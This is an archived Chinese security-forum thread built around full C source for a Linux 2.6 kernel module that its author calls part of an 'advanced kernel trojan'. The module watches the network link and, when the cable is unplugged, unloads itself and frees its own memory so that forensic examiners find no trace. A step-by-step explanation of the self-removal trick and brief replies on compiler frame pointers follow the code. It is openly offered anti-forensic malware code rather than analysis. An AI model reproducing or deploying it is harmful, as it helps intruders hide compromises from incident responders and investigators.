邪恶八进制信息安全团队技术讨论组's Archiver

EvilOctal 2004-11-24 05:26

[转载]module_auto_unload anti-forensic part 1

信息来源:[url]http://www.linuxforum.net/forum/showflat.php?Cat=&Board=security&Number=525551&page=0&view=collapsed&sb=5&o=31&fpart=[/url]

coolq

/*********************************************
* Name  : module_auto_unload.c (PoC) Part1  *
* Ver  : 0.0.1                    *
* Author: CoolQ                    *
* Aim  : Part of advanced kernel trojan,  *
*      anti-forensic, cool :P        *
* Usage : insmod the ko, then unplug the   *
*      network wire, you got what? :-)  *
* Notice: I try this code in RedHat FC2    *
*      based on custom 2.6.5 kernel, but *
*      in 2.6.8 kernel, something is    *
*      different, you have to free     *
*      kobject-specified items!       *
********************************************/

#include <linux/init.h>
#include <linux/kernel.h>
#include <linux/module.h>
#include <asm/errno.h>
#include <linux/timer.h>
#include <linux/workqueue.h>
#include <linux/slab.h>
#include <linux/vmalloc.h>
#include <linux/netdevice.h>
#include <linux/ethtool.h>

#define DEBUG
#define DEBUGP printk
#define INTERVAL 2

static struct timer_list    my_timer;
static void (*func)(void *, void *, void*,
      void (*)(void *), void (*)(const void *),
      int (*)(const char *fmt, ...) );
static struct    net_device    *mydev;
static char         *interface   = "eth0";

#ifdef CONFIG_MODULE_FORCE_UNLOAD
static inline int try_force(unsigned int flags)
{
   int ret = (flags & O_TRUNC);
   if (ret)
      tainted |= TAINT_FORCED_MODULE;
   return ret;
}
#else
static inline int try_force(unsigned int flags)
{
   return 0;
}
#endif


/*******************************************************
* I have say sth about this func. If the text section *
* is freed(vfree), the next instruction can&#39;t be    *
* accessed. So we have to copy this free section code *
* , let the copied code do the job. Yes, memory leak- *
* age DO EXIST! In the copied code, everything needs  *
* to be relocated, but I haven&#39;t known the reason    *
* about kernel symbol such as printk, vmalloc, ...   *
* in insmod process, the relocation should be over,  *
* but I have to transfer func pointers.          *
* TODO: find a workaround, no code copy          *
* ****************************************************/

/* Free a module, remove from lists, etc (must hold module mutex). */
static void free_module(void *module_init, void *args, void * module_core,
      void (*orig_vfree)(void *), void (*orig_kfree)(const void *),
      void (*pk)(const char *fmt, ...))
{

   /* This may be NULL, but that&#39;s OK */
#ifdef DEBUG
   pk("module_init = 0x%p\n", module_init);
   pk("args = 0x%p\n", args);
   pk("module_core = 0x%p\n", module_core);
#endif
   orig_vfree(module_init);
   orig_kfree(args);
   /* It&#39;s a PoC, so I do some trim (comment some part), */
   /* do some change as you wish */
   //if (mod->percpu)
   //   percpu_modfree(mod->percpu);

   /* Finally, free the core (containing the module structure) */
   orig_vfree(module_core);
   /* from now on, you can&#39;t use module vars */
   __asm__ __volatile__ (
      "1:\t pop %ecx \n\t"
      "cmpl $0x12345678, %ecx \n\t"
      "jne 1b \n\t"
      "popal \n\t"
   //   "add $8, %esp\n\t"  /* this will be discussed later */
      "ret \n\t"
        );
}

asmlinkage long
delete_module(void)
{
   struct module *mod;
   int ret, forced = 0;
   
   ret = 0;

   mod = THIS_MODULE; /* I wanna unload myself */
   if (!mod) {
      ret = -ENOENT;
      goto out;
   }

   /* Doing init or already dying? */
   if (mod->state != MODULE_STATE_LIVE) {
      /* FIXME: if (force), slam module count and wake up
             waiter --RR */
      DEBUGP("%s already dying\n", mod->name);
      ret = -EBUSY;
      goto out;
   }

   /* If it has an init func, it must have an exit func to unload */
   if ((mod->init != init_module && mod->exit == cleanup_module)
      || mod->unsafe) {
      forced = try_force(0);
      if (!forced) {
        /* This module can&#39;t be removed */
        ret = -EBUSY;
        goto out;
      }
   }

   /* Set this up before setting mod->state */
   mod->waiter = current;

   /* Final destruction now none is using it. */
   mod->exit();

   /* Delete from various lists */
   list_del(&mod->list);
   func(mod->module_init, mod->args, mod->module_core,
      vfree, kfree, printk);

out:
   return ret;
}

void unload_me(void)
{
   /* following is a trick , so free_module can get out of */
   /* unload_me directly, 0x12345678 is a magic number,   */
   /* help the asm code in free_module find the correct ret*/
   /* addr, pushal & popal save & restore all the regs    */
   /* so the direct return have no side effects        */
   __asm__ __volatile__ (
      "pushal \n\t"
      "push $0x12345678 \n\t"
        );
   delete_module();
   return;
}
void timer_func(unsigned long ptr)
{
   u32   ret;

   ret = mydev->ethtool_ops->get_link(mydev); /* get link status */
   if(!ret){
      /* if the link is down, unload the module */
      /* so no one sees your dirty work :P    */
      DECLARE_WORK(mywork, unload_me, NULL);
      schedule_work(&mywork);
      return;
   }
   my_timer.expires = jiffies + INTERVAL * HZ;
   add_timer(&my_timer);
   return;
}
static int dummy_init(void)
{

   mydev = dev_get_by_name(interface);

   init_timer(&my_timer);
   my_timer.function = timer_func;
   my_timer.expires = jiffies + INTERVAL * HZ;
   add_timer(&my_timer);
   /* copy the free code section , here EXISTS memory leakage,  */
   /* (only several bytes). we can&#39;t find way to kfree this    */
   func = kmalloc((unsigned long)delete_module - (unsigned long)free_module,GFP_KERNEL);
   memcpy(func, free_module, (unsigned long)delete_module - (unsignedlong)free_module);
#ifdef DEBUG
   printk("the unload_me is at 0x%p\n", unload_me);
   printk("the copied func is at 0x%p\n", func);
#endif
   return 0;
}

static void dummy_exit(void)
{
   del_timer(&my_timer);
   return;
}

module_init(dummy_init);
module_exit(dummy_exit);

MODULE_LICENSE("GPL");
MODULE_AUTHOR("[email]qufuping@ercist.iscas.ac.cn[/email]");

这个小程序主要是针对法律取证的,如果网线被拔掉,木马可以自动将自己卸载,不留痕迹。
该模块会定期检查网卡状态(通过计时器),这个很简单。麻烦的是模块如何将自己卸载。
首先,不能使用系统调用,因为你自己提供的模块名是位于内核地址的,copy_from_user时不通过。
第二,如果程序运行vfree, kfree, vfree的过程,运行完毕,内核所在的空间已释放,vfree后的
代码将无法执行,不要以为vfree是函数的最后一行程序,其实汇编里还有很多后序的代码,还有
多个函数的调用。
第三,我们可以将整个代码段都复制一份,但是这里又牵扯到符号重定位的问题,如果对若干个
函数都重定位,需要的函数都需要通过指针传递,工作量比较大。
因此,我们只复制free_module函数的代码部分,但是程序的返回又出了问题,因为别的函数空间
都已释放,free_module不能简单的返回到它的被调用者delete_module, 需要找一种方法直接返回
调用unload_me的地方。这里使用了一个小技巧,在unload_me一开始,将所有的寄存器保存,然后
设置一个magic number,这样在free_module需要返回的时候,将栈内的数据一个一个弹出,判断是
不是magic number,如果是,接下来将所有的寄存器恢复,然后ret就可以了。
至于//"add $8, %esp\n\t" /* this will be discussed later */这一行,还需要解释一下:
2.6内核编译的时候,
HOSTCFLAGS = -Wall -Wstrict-prototypes -O2 -fomit-frame-pointer
因此,-fomit-frame-pointer是不应该有frame pointers。
而unload_me里也没有任何临时变量,因此
objump -j .text -d hide.ko
00000187 <unload_me>:
187: 60 pusha
188: 68 78 56 34 12 push $0x12345678
18d: e8 fc ff ff ff call 18e <unload_me+0x7>
192: c3 ret
如果delete_module参数不是void,而是有别的参数,由于编译器的原因,
会在pusha前面设置sub $8, %esp,虽然也没有临时变量,这一步也没什么用。
对于这种情况,你需要在free_module里add $8, %esp

madsys

注意要是编译时有栈帧,free_module最后的处理代码中,在ret前要加leave.

coolq

似乎是这儿的问题,光顾着看根目录下的Makefile了,忘记了子目录地下的Makefile可以覆盖掉原来的设置。我说怎么明明看见Makefile里有-fomit-frame-pointer却编译出来没有frame pointer

页: [1]
© 1999-2008 EvilOctal Security Team